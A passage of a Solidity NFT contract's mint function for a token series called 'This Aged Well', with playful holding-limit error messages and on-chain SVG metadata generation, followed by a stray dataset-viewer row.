require(_addressTokenCount[msg.sender] < ((numMinted/364)+1), "You hold too many. Maybe next year *wink*");
lastBlockMinted = block.number;
} else {
require(_addressTokenCount[msg.sender] < 2, "Was one not enough?!(thank you for minting)");
}
require(!_minted[numMinted], "If you see this I probably messed up");
_minted[numMinted] = true;
string memory imageURI = svgToImageURI(generateSVG(block.timestamp, numMinted));
string memory name = string(abi.encodePacked("This Aged Well - ", numMinted));
string memory description = "Time since mint. With color. Yeehaw!";
string memory properties = "dontworryaboutit";
string memory tokenURI = formatTokenURI(imageURI, name, description, properties);
_mint(msg.sender, numMinted);
_setTokenURI(numMinted, tokenURI);
_addressTokenCount[msg.sender]++;
tokensMinted = numMinted + 1;
}
}
| _addressTokenCount[msg.sender]>0,"You must hold a key to obtain a key...(so ambiguous)" | 217,202 | _addressTokenCount[msg.sender]>0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.